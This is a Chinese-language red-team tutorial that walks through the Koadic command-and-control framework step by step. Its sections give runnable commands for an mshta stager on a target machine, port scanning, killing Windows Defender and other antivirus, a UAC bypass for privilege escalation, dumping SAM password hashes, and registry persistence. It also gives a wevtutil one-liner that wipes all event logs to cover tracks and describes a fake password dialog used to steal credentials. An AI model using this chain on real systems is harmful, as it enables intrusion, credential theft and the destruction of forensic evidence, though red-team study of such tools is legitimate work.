文章前言
红队之间的合作越来越受欢迎,系统管理员也越来越了解工具和技术,因此避免检测是一项艰巨的任务,另一方面,红队一直在寻找使用合法流量或Windows标准功能来隐藏其活动的命令和控制工具,本机Windows脚本宿主引擎可用作另一种命令和控制方法,在2017年拉斯维加斯Bsides展出,并发布了一个工具来协助此活动。
Koadic简介
Koadic Framework由Sean Dillon 和Zach Harding开发,基于JavaScript和VBScript,因为它使用的是Windows脚本宿主(WSH),因此它可以在从Windows 2000到Windows 10的多个Windows环境中使用,也可以在没有PowerShell的旧系统或者运行旧版本的ASP.NET中使用,因此与基于PowerShell的其他工具相比,它可以使用作为更可靠的解决方案,Koadic速度快,噪音小,并且能够在内存中提供有效载荷。
Koadic安装
安装Koadic只需在终端上运行以下命令即可:
代码语言:javascript复制git clone https://github.com/zerosum0x0/koadic.git
cd koadic
pip3 install -r requirements.txt
./koadic
Koadic使用
帮助说明
使用help命令可以列出Koadic中当前可用的主要命令及其功能:
模块查询
"stager/js/mshta"是首次执行Koadic工具时的默认配置模块,我们可以通过"info"命令来查看并进行配置:
同时我们可以通过输入"use",然后双击Tab键查看所有的可用模块:
STAGER
多年以来,Windows一直在不断加强其自身的防御能力,因此,Windows Defender可以直接检测和阻止大多数的stagers,出于这个原因,我们将使用默认配置的mshta stager,因为它被检测和阻止的概率是最低的,甚至它可以在某些最新版本的Windows 10上运行,我们首先输入"info"来查看我们应该为stager提供的参数信息:
可以看到"REQ"项为'yes'的已经全部完成了默认配置,所以我们直接"run"即可:
之后复制日志底部生成的命令并在目标计算机上运行:
一个zombie机器被创建,目标机器现在已连接到了mshta stager server:
你可以运行以下命令进行确认:
代码语言:javascript复制zombies
该命令将显示所有的zombie机器,我们可以看到这里只显示了个"Zombie 0",这是因为它是迄今为止我们唯一创建的一个zombie~
端口扫描
我们可以通过Koadic来对目标主机上的信息进行收集,下面以最常见的端口扫描为例:
代码语言:javascript复制
代码语言:javascript复制use implant/scan/tcp
info
set RHOSTS 192.168.188.135
run
代码语言:javascript复制
免杀操作
下一步是杀死windows defender和所有其他正在运行的防病毒软件,以确保我们可以在目标计算机上执行任何我们想要执行的命令,你只需简单的运行以下命令即可:
代码语言:javascript复制use implant/manage/killav
info
set zombie 0
权限提升
提权是一个非常重要的阶段,一旦成功我们就可以以管理员身份完全的访问计算机,并且还将获取更改计算机关键设置的权限,为此,我们可以尝试使用Koadic上的模块来绕过UAC(用户帐户控制),成功率取决于目标机器的Windows版本,因为有些可能已经被修补,这里我们使用implant/elevate/bypassuac_compdefaults作为尝试,命令如下:
代码语言:javascript复制use implant/elevate/bypassuac_compdefaults
info
listeners
set payload 0
run
从上面我们可以看到有了新的Zombie,也就是说成功提权了,为了进一步确认我们可以通过执行以下命令来查看当前的Zombie:
代码语言:javascript复制zombie
可以看到一个新的zombie已被创建ID为1*,星号表示zombie正在以提升后的权限运行,之后键入以下命令并运行来查看zombie的详细信息,以验证其权限状态:
代码语言:javascript复制zombies 1
现在,我们可以使用"implant/manage/exec_cmd"在CMD上运行任何Windows命令,让我们尝试使用以下命令:
代码语言:javascript复制use implant/manage/exec_cmd
info
set zombie 1
run
之后执行命令做简易测试看看:
哈希获取
收集目标任何有价值的信息,应该是最激动和不可或缺的一个阶段,下面我将使用"implant/gather/hashdump_sam"模块,来获取目标计算机上的哈希值,命令如下:
代码语言:javascript复制use implant/gather/hashdump_sam
info
set getsyshive true
run
权限维持
在目标机器上保持持久性同样重要,这样我们就可以长期监控目标机器,并进一步的获取有价值的信息,在这里我们可以使用”implant/persist/registry”模块来实现,运行以下命令:
代码语言:javascript复制use implant/persist/registry
info
listeners
set payload 0
set zombie 1
run
恶意文件被成功创建:
在这里我们可以将"CLEANUP"参数设置为“true”以删除注册表项,从而隐藏我们的轨迹,对于刚刚我们获取哈希值的操作,可以运行"for /F “tokens=*” %1 in (‘wevtutil.exe el’) DO wevtutil.exe cl “%1″”命令,使用“implant/manage/exec_cmd”模块来清除所有事件日志,具体的命令如下:
代码语言:javascript复制use implant/manage/exec_cmd
info
set zombie 1
set CMD for /F "tokens=*" %1 in ('wevtutil.exe el') DO wevtutil.exe cl "%1"
run
简易社工
我们可以尝试通过密码框从普通用户窃取密码,然而,这将破坏红队参与过程中隐身的目的
之后模拟用户在窗口输入信息:
成功获取到用户的信息
不过这看着确实有点傻,因为傻到这种程度的人估计也是稀有"产品"~
其他操作
当然Koadic还有很多很多强大的地方,例如文件上传、注册表权限维持、获取域控的hashdump、BypassUAC、枚举域信息、枚举域内打印机信息等等,这里就不再逐一介绍了~
相关链接
https://github.com/zerosum0x0/koadic